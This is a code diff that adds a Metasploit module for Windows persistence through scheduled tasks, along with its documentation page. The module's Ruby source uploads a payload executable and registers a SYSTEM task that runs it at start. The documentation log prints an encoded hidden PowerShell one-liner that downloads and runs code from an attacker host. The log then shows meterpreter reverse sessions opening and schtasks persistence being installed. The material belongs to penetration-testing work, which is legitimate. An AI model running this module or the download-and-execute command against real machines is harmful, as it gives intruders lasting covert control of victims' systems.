Windows task scheduler persistence

documentation/modules/exploit/windows/persistence/task_scheduler.md

@@ -0,0 +1,140 @@
+## Vulnerable Application
+
+This module establishes persistence by creating a scheduled task to run a payload.
+
+## Verification Steps
+
+1. get session on target with admin/system privs
+2. `use exploit/windows/persistence/task_scheduler`
+3. `set payload <payload>`
+4. `set lport <lport>`
+5. `set lhost <lhost>`
+6. `exploit`
+
+## Options
+
+### PAYLOAD_NAME
+
+Name of payload file to write. Random string as default.
+
+### TASK_NAME
+
+The name of task. Random string as default.
+
+## Advanced Options
+
+### ScheduleType
+
+Schedule frequency for the new created task.
+Options are: `MINUTE`, `HOURLY`, `DAILY`, `WEEKLY`, `MONTHLY`,
+`ONCE`, `ONSTART`, `ONLOGON`, `ONIDLE`.
+
+### ScheduleModifier
+
+Schedule frequency modifier to define the amount of `ScheduleType`.
+This defines the amount of minutes/hours/days/weeks/months,
+depending on the ScheduleType value. When `ONIDLE` type is used,
+this represents how many minutes the computer is idle before
+the task starts. This value is not used with `ONCE`, `ONSTART` and
+`ONLOGON` types.
+
+## Scenarios
+
+### Windows 10 1909 (10.0 Build 18363)
+
+```
+resource (/root/.msf4/msfconsole.rc)> setg verbose true
+verbose => true
+resource (/root/.msf4/msfconsole.rc)> setg lhost 2.2.2.2
+lhost => 2.2.2.2
+resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
+payload => cmd/linux/http/x64/meterpreter/reverse_tcp
+resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
+[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
+resource (/root/.msf4/msfconsole.rc)> set target 2
+target => 2
+resource (/root/.msf4/msfconsole.rc)> set srvport 8085
+srvport => 8085
+resource (/root/.msf4/msfconsole.rc)> set uripath w2
+uripath => w2
+resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
+payload => windows/x64/meterpreter/reverse_tcp
+resource (/root/.msf4/msfconsole.rc)> set lport 4449
+lport => 4449
+resource (/root/.msf4/msfconsole.rc)> run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+[*] Started reverse TCP handler on 2.2.2.2:4449 
+[*] Using URL: http://2.2.2.2:8085/w2
+[*] Server started.
+[*] Run the following command on the target machine:
+powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhADYAeQA3AFUAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAYQA2AHkANwBVAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAYQA2AHkANwBVAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwB0AGIARwBHAGMAVgBOAEoATgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
+msf exploit(multi/script/web_delivery) > 
+[*] 1.1.1.1     web_delivery - Powershell command length: 3659
+[*] 1.1.1.1     web_delivery - Delivering Payload (3659 bytes)
+[*] Sending stage (230982 bytes) to 1.1.1.1
+[*] Meterpreter session 1 opened (2.2.2.2:4449 -> 1.1.1.1:49934) at 2025-10-26 16:11:31 -0400
+```
+
+Session info
+
+```
+msf exploit(multi/script/web_delivery) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo
+Computer        : WIN10PROLICENSE
+OS              : Windows 10 1909 (10.0 Build 18363).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x64/windows
+meterpreter > getuid
+Server username: WIN10PROLICENSE\windows
+meterpreter > background
+[*] Backgrounding session 1...
+```
+
+Persistence
+
+```
+msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/task_scheduler 
+[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
+msf exploit(windows/persistence/task_scheduler) > set session 1
+session => 1
+msf exploit(windows/persistence/task_scheduler) > set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+msf exploit(windows/persistence/task_scheduler) > exploit
+[*] Exploit running as background job 1.
+[*] Exploit completed, but no session was created.
+
+[*] Started reverse TCP handler on 2.2.2.2:4444 
+msf exploit(windows/persistence/task_scheduler) > [*] Running automatic check ("set AutoCheck false" to disable)
+[*] [Task Scheduler] Trying to get SYSTEM privilege
+[*] [Task Scheduler] Got SYSTEM privilege
+[+] The target appears to be vulnerable. Likely exploitable
+[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\CLxSZIsj.exe
+[*] Creating task: svuJIW
+[*] [Task Scheduler] executing command: schtasks /create /tn "svuJIW" /tr "C:\Users\windows\AppData\Local\Temp\CLxSZIsj.exe" /sc ONSTART /ru SYSTEM /f
+[*] Starting task: svuJIW
+[*] [Task Scheduler] executing command: schtasks /run /tn svuJIW
+[*] Sending stage (188998 bytes) to 1.1.1.1
+[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc
+[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:49935) at 2025-10-26 16:12:29 -0400
+```
+
+Cleanup
+
+```
+msf exploit(windows/persistence/task_scheduler) > sessions -i 2
+[*] Starting interaction with 2...
+
+meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc
+[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc for ERB directives.
+resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc)> execute -f cmd.exe -a "/c schtasks /delete /tn svuJIW /f"
+Process 560 created.
+resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc)> rm C:/Users/windows/AppData/Local/Temp/CLxSZIsj.exe
+[-] stdapi_fs_delete_file: Operation failed: Access is denied.
+meterpreter >
+```

lib/msf/core/post/windows/task_scheduler.rb

@@ -95,7 +95,10 @@ def initialize(info = {})
               # deleting the associated Security Descriptor registry value.
               # Note that SYSTEM privileges are needed for this. It will try to
               # elevate privileges if the session is not already running under
-              # the SYSTEM user.',
+              # the SYSTEM user.'
+              #
+              # To list SECURITY_DESC items, the following ps command can be used
+              # Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File | Select-Object FullName
               OptEnum.new(
                 'ScheduleObfuscationTechnique', [
                   false,

modules/exploits/windows/persistence/task_scheduler.rb

@@ -0,0 +1,110 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Local::Persistence
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Post::Windows::TaskScheduler
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Windows Persistent Task Scheduler',
+        'Description' => %q{
+          This module establishes persistence by creating a scheduled task to run a payload.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [ 'h00die' ],
+        'Platform' => [ 'win' ],
+        'Privileged' => true,
+        'SessionTypes' => [ 'meterpreter', 'shell' ],
+        'Targets' => [
+          [ 'Automatic', {} ]
+        ],
+        'DefaultTarget' => 0,
+        'References' => [
+          ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
+          ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
+        ],
+        'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
+          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
+        }
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
+        OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
+      ]
+    )
+
+    # not needed since this is not remote
+    deregister_options(
+      'ScheduleRemoteSystem',
+      'ScheduleUsername',
+      'SchedulePassword',
+      'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
+    )
+  end
+
+  def writable_dir
+    d = super
+    return session.sys.config.getenv(d) if d.start_with?('%')
+
+    d
+  end
+
+  def check
+    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
+    return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
+
+    begin
+      get_system_privs
+    rescue StandardError
+      return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
+    end
+
+    CheckCode::Appears('Likely exploitable')
+  end
+
+  def upload_payload(dest_pathname)
+    payload_exe = generate_payload_exe
+    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
+    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
+  end
+
+  def install_persistence
+    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
+    temp_path = writable_dir
+    payload_pathname = temp_path + '\\' + payload_name + '.exe'
+    upload_payload(payload_pathname)
+
+    task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
+    vprint_status("Creating task: #{task_name}")
+    begin
+      task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
+    rescue TaskSchedulerObfuscationError => e
+      print_warning(e.message)
+      print_good('Task created without obfuscation')
+    rescue TaskSchedulerError => e
+      fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
+    end
+
+    vprint_status("Starting task: #{task_name}")
+    task_start(task_name)
+    schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
+    @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
+    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
+  end
+end